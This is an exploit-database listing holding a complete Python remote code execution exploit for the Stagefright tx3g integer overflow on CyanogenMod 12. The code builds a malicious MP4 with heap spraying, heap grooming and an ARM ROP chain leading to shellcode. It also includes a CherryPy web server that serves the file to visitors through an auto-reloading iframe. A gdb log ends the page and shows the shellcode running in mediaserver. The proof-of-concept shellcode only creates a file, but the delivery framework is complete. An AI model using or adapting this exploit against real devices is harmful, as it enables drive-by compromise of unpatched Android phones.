CyanogenMod 12 Stagefright (.MP4 tx3g Integer Overflow) Remote Code Execution Exploit



EKU-ID: 6471 CVE: OSVDB-ID:
Author: Marcin Kozlowski Published: 2017-04-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/python2
#
# CyanogenMod 12 Stagefright (.MP4 tx3g Integer Overflow) Exploit Remote Code Execution
# Author: Marcin Kozlowski (marcinguy@gmail.com)
# Based on: https://googleprojectzero.blogspot.com/2015/09/stagefrightened.html
#
# On CyanogenMod make sure your ROM is compiled to use jemalloc (not dlmalloc). With dlmalloc I wasnt able to exploit this. vtable was very far away, actually before the buffer. How to overwrite it ? :/
# cat device/samsung/msm8226-common/BoardConfigCommon.mk
##Memory
##MALLOC_IMPL := dlmalloc
#MALLOC_IMPL := jemalloc
#
# In my tests, I disabled ASLR and SELinux, the second one must be disabled for it to work, seems like mediaserver process is sandboxed, the first make it easier to exploit (no need to guess libc_base). Heap has to be alligned as predicted, pssh at 0xb0503000 (Should happen after you run the exploit for few minutes). May need adjustment for you mobile.
# echo 0 > /proc/sys/kernel/randomize_va_space
# echo 0 > /sys/fs/selinux/enforce
#
# vtable offset was different than in G0 exploit, also the Heap was sprayed differently in this exploit version.
#  
# Gadget pop {r0, r1, r2, r3, pc} was not in my standard CyanogenMod build for my mobile, so I built it into /system/lib/libc.so, not to spend too much time on ROP Stack
#
#
# Tested on Samsung Galaxy S3 Neo+ GT-I9301I 
#
# root@s3ve3g:/ # ls /root
# pwned
# root@s3ve3g:/
#
# Provided for legal security research and testing purposes ONLY
  
import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct
  
 
#
#PoC Shellcode. Create /root/pwned file on mobile
#
#Make sure /root is writeable by media user or all (chmod 777 /root)
 
shellcode = bytearray("\x01\x60\x8f\xe2"   
                  "\x16\xff\x2f\xe1" 
                  "\x78\x46"           
                  "\x10\x30"          
                  "\xff\x21"           
                  "\xff\x31"           
                  "\x01\x31"          
                  "\x08\x27"           
                  "\x01\xdf"           
                  "\x40\x40"          
                  "\x01\x27"           
                  "\x01\xdf"           
                  "\x2f\x72\x6f\x6f"   
                  "\x74\x2f\x70\x77"   
                  "\x6e\x65"          
                  "\x64")
 
print "Shellcode length:"+str(len(shellcode))
  
while len(shellcode) % 4 != 0:
  shellcode += '\x00'
  
# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10
  
# address of the buffer we allocate for our shellcode
mmap_address = 0x90000000
  
# addresses that we need to predict
libc_base = 0xb6ef5000
spray_address = 0xb0503000
  
# ROP gadget addresses
stack_pivot = None
stack_pivot1 = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None
  
def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
        break
  return gadget_address
  
def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
        break
  return gadget_address
    
def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)
  
def find_rop_gadgets(path):
  global memcpy
  global mmap64
  global stack_pivot
  global stack_pivot1
  global pop_pc
  global pop_r0_r1_r2_r3_pc
  global pop_r4_r5_r6_r7_pc
  global ldr_lr_bx_lr
  global ldr_lr_bx_lr_stack_pad
  
  e = elf.ELF(path)
  e.address = libc_base
  
  memcpy = e.symbols['memcpy']
  print '[*] memcpy : 0x{:08x}'.format(memcpy)
  mmap64 = e.symbols['mmap64']
  print '[*] mmap64 : 0x{:08x}'.format(mmap64)
  
  # .text:00013344    ADD             R2, R0, #0x4C
  # .text:00013348    LDMIA           R2, {R4-LR}
  # .text:0001334C    TEQ             SP, #0
  # .text:00013350    TEQNE           LR, #0
  # .text:00013354    BEQ             botch_0
  # .text:00013358    MOV             R0, R1
  # .text:0001335C    TEQ             R0, #0
  # .text:00013360    MOVEQ           R0, #1
  # .text:00013364    BX              LR
  
  pivot_asm = ''
  pivot_asm += 'add   r2, r0, #0x4c\n'
  pivot_asm += 'ldmia r2, {r4 - lr}\n'
  pivot_asm += 'teq   sp, #0\n'
  pivot_asm += 'teqne lr, #0'
  stack_pivot = find_arm_gadget(e, pivot_asm)
  print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)
  
  pop_pc_asm = 'pop {pc}'
  pop_pc = find_gadget(e, pop_pc_asm)
  print '[*] pop_pc : 0x{:08x}'.format(pop_pc)
  
  pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
  print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)
  
  pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
  print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)
  
  ldr_lr_bx_lr_stack_pad = 0
  for i in range(0, 0x100, 4):
    ldr_lr_bx_lr_asm =  'ldr lr, [sp, #0x{:08x}]\n'.format(i)
    ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
    ldr_lr_bx_lr_asm += 'bx  lr'
    ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
    if ldr_lr_bx_lr is not None:
      ldr_lr_bx_lr_stack_pad = i
      break
    
def pad(size):
  return '#' * size
  
def pb32(val):
  return struct.pack(">I", val)
  
def pb64(val):
  return struct.pack(">Q", val)
  
def p32(val):
  return struct.pack("<I", val)
  
def p64(val):
  return struct.pack("<Q", val)
  
def chunk(tag, data, length=0):
  if length == 0:
    length = len(data) + 8
  if length > 0xffffffff:
    return pb32(1) + tag + pb64(length)+ data
  return pb32(length) + tag + data
  
def alloc_avcc(size):
  avcc = 'A' * size
  return chunk('avcC', avcc)
  
def alloc_hvcc(size):
  hvcc = 'H' * size
  return chunk('hvcC', hvcc)
  
def sample_table(data):
  stbl = ''
  stbl += chunk('stco', '\x00' * 8)
  stbl += chunk('stsc', '\x00' * 8)
  stbl += chunk('stsz', '\x00' * 12)
  stbl += chunk('stts', '\x00' * 8)
  stbl += data
  return chunk('stbl', stbl)
  
def memory_leak(size):
  pssh = 'leak'
  pssh += 'L' * 16
  pssh += pb32(size)
  pssh += 'L' * size
  return chunk('pssh', pssh)
  
def heap_spray(size):
  pssh = 'spry'
  pssh += 'S' * 16
  pssh += pb32(size)
  
  page = ''
    
  nop = asm.asm('nop', arch='thumb')
  while len(page) < 28:
    page += nop
   
  page += p32(stack_pivot) 
  page += p32(pop_r0_r1_r2_r3_pc)
 
  
 
  
  # mmap64(mmap_address, 
  #        0x1000,
  #        PROT_READ | PROT_WRITE | PROT_EXECUTE,
  #        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
  #        -1,
  #        0);
  
  page += p32(mmap_address)             # r0 = address
  page += p32(0x1000)                   # r1 = size
  page += p32(7)                        # r2 = protection
  page += p32(0x32)                     # r3 = flags
  page += p32(ldr_lr_bx_lr)             # pc
  
  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)
  
  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap64)                   # pc
  
  page += p32(0xffffffff)               # fd      (and then r4)
  page += pad(4)                        # padding (and then r5)
  page += p64(0)                        # offset  (and then r6, r7)
  page += p32(pop_r0_r1_r2_r3_pc)       # pc
  
  # memcpy(shellcode_address, 
  #        spray_address + len(rop_stack),
  #        len(shellcode));
  
  page += p32(mmap_address)             # r0 = dst
  page += p32(spray_address + 0x12c)    # r1 = src
  page += p32(0x110)
  page += p32(0x33333333)               # r3
  page += p32(ldr_lr_bx_lr)             # pc
  
  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)
  
  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(memcpy)                   # pc
  
  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap_address + 80)         # pc
  
 
 
  while len(page) < 0x1000:
    page += shellcode
  
  pssh += page * (size // 0x1000)
  
  return chunk('pssh', pssh)
  
def exploit_mp4():
  ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
  
  trak = ''
  
  # heap spray so we have somewhere to land our corrupted vtable 
  # pointer
  
  # yes, we wrap this in a sample_table for a reason; the 
  # NuCachedSource we will be using otherwise triggers calls to mmap,
  # leaving our large allocations non-contiguous and making our chance
  # of failure pretty high. wrapping in a sample_table means that we
  # wrap the NuCachedSource with an MPEG4Source, making a single 
  # allocation that caches all the data, doubling our heap spray 
  # effectiveness :-)
  trak += sample_table(heap_spray(spray_size) * spray_count)
  
  # heap groom for our MPEG4DataSource corruption
  
  # get the default size allocations for our MetaData::typed_data 
  # groom allocations out of the way first, by allocating small blocks
  # instead.
  trak += alloc_avcc(8)
  trak += alloc_hvcc(8)
  
  # we allocate the initial tx3g chunk here; we'll use the integer 
  # overflow so that the allocated buffer later is smaller than the 
  # original size of this chunk, then overflow all of the following 
  # MPEG4DataSource object and the following pssh allocation; hence why
  # we will need the extra groom allocation (so we don't overwrite 
  # anything sensitive...)
  
  # | tx3g | MPEG4DataSource | pssh |
  overflow = 'A' * 32
  
  # | tx3g ----------------> | pssh |
  overflow += p32(spray_address)
  overflow += '0' * 0x48
  overflow += '0000'                    # r4
  overflow += '0000'                    # r5
  overflow += '0000'                    # r6
  overflow += '0000'                    # r7
  overflow += '0000'                    # r8
  overflow += '0000'                    # r9
  overflow += '0000'                    # r10
  overflow += '0000'                    # r11
  overflow += '0000'                    # r12
  overflow += p32(spray_address + 0x20) # sp
  overflow += p32(pop_pc)               # lr
  
  trak += chunk("tx3g", overflow)
  
  # defragment the for alloc_size blocks, then make our two
  # allocations. we end up with a spurious block in the middle, from
  # the temporary ABuffer deallocation.
  
  # | pssh | - | pssh |
  trak += memory_leak(alloc_size) * groom_count
  
  # | pssh | - | pssh | .... | avcC |
  trak += alloc_avcc(alloc_size)
  
  # | pssh | - | pssh | .... | avcC | hvcC |
  trak += alloc_hvcc(alloc_size)
  
  # | pssh | - | pssh | pssh | avcC | hvcC | pssh |
  trak += memory_leak(alloc_size) * 8
  
  # | pssh | - | pssh | pssh | avcC | .... |
  trak += alloc_hvcc(alloc_size * 2)
  
  # entering the stbl chunk triggers allocation of an MPEG4DataSource
  # object
  
  # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
  stbl = ''
  
  # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
  stbl += alloc_avcc(alloc_size * 2)
  
  # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
  # | pssh | - | pssh | pssh | tx3g ----------------> |
  overflow_length = (-(len(overflow) - 28) & 0xffffffffffffffff)
  stbl += chunk("tx3g", '', length = overflow_length)
  
  trak += chunk('stbl', stbl)
  
  return ftyp + chunk('trak', trak)
  
index_page = '''
<!DOCTYPE html>
<html>
  <head>
    <title>Stagefrightened!</title>
  </head>
  <body>
    <script>
    window.setTimeout('location.reload(true);', 400);
    </script>
    <iframe src='/exploit.mp4'></iframe>
  </body>
</html>
'''
  
class ExploitServer(object):
  
  exploit_file = None
  exploit_count = 0
  
  @cherrypy.expose
  def index(self):
    self.exploit_count += 1
    print '*' * 80
    print 'exploit attempt: ' + str(self.exploit_count)
    print '*' * 80
    return index_page
  
  @cherrypy.expose(["exploit.mp4"])
  def exploit(self):
    cherrypy.response.headers['Content-Type'] = 'video/mp4'
    cherrypy.response.headers['Content-Encoding'] = 'gzip'
  
    if self.exploit_file is None:
      exploit_uncompressed = exploit_mp4()
      with open('exploit_uncompressed.mp4', 'wb') as tmp:
        tmp.write(exploit_uncompressed)
      os.system('gzip exploit_uncompressed.mp4')
      with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
        self.exploit_file = tmp.read()
      os.system('rm exploit_uncompressed.mp4.gz')
  
    return self.exploit_file
  
def main():
  find_rop_gadgets('libc.so')
  with open('exploit.mp4', 'wb') as tmp:
    tmp.write(exploit_mp4())
  cherrypy.server.socket_host = '0.0.0.0'
  cherrypy.quickstart(ExploitServer()) 
if __name__ == '__main__':
  main()
 
####################################################################################################
Exploitation log on Test Device
####################################################################################################
 
(gdb) attach 24145
Attaching to program: /system/bin/mediaserver, process 24145
[New LWP 24146]
[New LWP 24147]
[New LWP 24148]
[New LWP 24153]
[New LWP 24154]
[New LWP 24155]
[New LWP 24156]
[New LWP 24157]
[New LWP 24158]
[New LWP 24164]
[New LWP 24165]
[New LWP 24166]
warning: Could not load shared library symbols for 15 libraries, e.g. camera.msm8226.so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
 
Thread 1 "mediaserver" stopped.
0xb6f2d83c in __ioctl () from /system/lib/libc.so
(gdb) cont
Continuing.
[New LWP 24305]
[New LWP 24306]
[New LWP 24317]
[New LWP 24322]
[New LWP 24323]
[New LWP 24324]
[New LWP 24326]
 
Thread 1 "mediaserver" hit Breakpoint 3, 0xb6f05428 in _longjmp ()
   from /system/lib/libc.so
(gdb) stepi
0xb6f0542c in _longjmp () from /system/lib/libc.so
(gdb) 
0xb6f05430 in _longjmp () from /system/lib/libc.so
(gdb) 
0xb6f05434 in _longjmp () from /system/lib/libc.so
(gdb) 
0xb6f05438 in _longjmp () from /system/lib/libc.so
(gdb) 
0xb6f0543c in _longjmp () from /system/lib/libc.so
(gdb) 
0xb6f05440 in _longjmp () from /system/lib/libc.so
(gdb) 
0xb6f05444 in _longjmp () from /system/lib/libc.so
(gdb) 
0xb6f47974 in _Unwind_GetGR () from /system/lib/libc.so
(gdb) 
0xb6f45338 in pop () from /system/lib/libc.so
(gdb) 
0xb6f4835c in ___Unwind_RaiseException () from /system/lib/libc.so
(gdb) 
0xb6f48360 in ___Unwind_RaiseException () from /system/lib/libc.so
(gdb) 
0xb6f48364 in ___Unwind_RaiseException () from /system/lib/libc.so
(gdb) 
[New LWP 24350]
[New LWP 24349]
0xb6f03672 in __futex_wake_ex.constprop.0 () from /system/lib/libc.so
(gdb) 
0xb6f0c540 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c544 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c546 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c54a in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c54c in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c550 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c552 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c556 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c558 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c55c in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c560 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c564 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c566 in mmap64 () from /system/lib/libc.so
(gdb) 
[New LWP 24351]
0xb6f0c576 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c57a in mmap64 () from /system/lib/libc.so
(gdb) 
[New LWP 24352]
0xb6f0c57c in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c57e in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c582 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f2da58 in __mmap2 () from /system/lib/libc.so
(gdb) 
0xb6f2da5c in __mmap2 () from /system/lib/libc.so
(gdb) 
0xb6f2da60 in __mmap2 () from /system/lib/libc.so
(gdb) 
0xb6f2da64 in __mmap2 () from /system/lib/libc.so
(gdb) 
0xb6f2da68 in __mmap2 () from /system/lib/libc.so
(gdb) 
0xb6f2da6c in __mmap2 () from /system/lib/libc.so
(gdb) 
0xb6f2da70 in __mmap2 () from /system/lib/libc.so
(gdb) 
0xb6f2da74 in __mmap2 () from /system/lib/libc.so
(gdb) 
0xb6f0c586 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c588 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c58a in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c58c in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c58e in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c590 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c592 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c5bc in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c5be in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c5c6 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f0c5c8 in mmap64 () from /system/lib/libc.so
(gdb) 
0xb6f03672 in __futex_wake_ex.constprop.0 () from /system/lib/libc.so
(gdb) 
0xb6f45338 in pop () from /system/lib/libc.so
(gdb) 
0xb6f4835c in ___Unwind_RaiseException () from /system/lib/libc.so
(gdb) 
0xb6f48360 in ___Unwind_RaiseException () from /system/lib/libc.so
(gdb) 
0xb6f48364 in ___Unwind_RaiseException () from /system/lib/libc.so
(gdb) 
0xb6f03672 in __futex_wake_ex.constprop.0 () from /system/lib/libc.so
(gdb) 
0xb6f05fd0 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f05fd4 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f05fd8 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f05fdc in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f05fe0 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f05fe4 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f05fe8 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06028 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f0602c in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06030 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06034 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06038 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f0603c in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06040 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06044 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06048 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06030 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06034 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06038 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f0603c in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06040 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06044 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06048 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06030 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06034 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06038 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f0603c in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06040 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06044 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06048 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06030 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06034 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06038 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f0603c in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06040 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06044 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06048 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f0604c in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06050 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06060 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06064 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06068 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f0606c in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06070 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06074 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06078 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06084 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06090 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06094 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f06098 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f0609c in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f060a0 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f060a4 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f060a8 in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f060ac in memcpy () from /system/lib/libc.so
(gdb) 
0xb6f03672 in __futex_wake_ex.constprop.0 () from /system/lib/libc.so
(gdb) 
0x90000050 in ?? ()
(gdb) 
0x90000054 in ?? ()
(gdb) 
0x90000058 in ?? ()
(gdb) 
0x9000005a in ?? ()
(gdb) 
0x9000005c in ?? ()
(gdb) 
0x9000005e in ?? ()
(gdb) 
0x90000060 in ?? ()
(gdb) 
0x90000062 in ?? ()
(gdb) 
0x90000064 in ?? ()
(gdb) 
0x90000066 in ?? ()
(gdb) 
0x90000068 in ?? ()
(gdb) 
0x9000006a in ?? ()
(gdb) 
[LWP 24145 exited]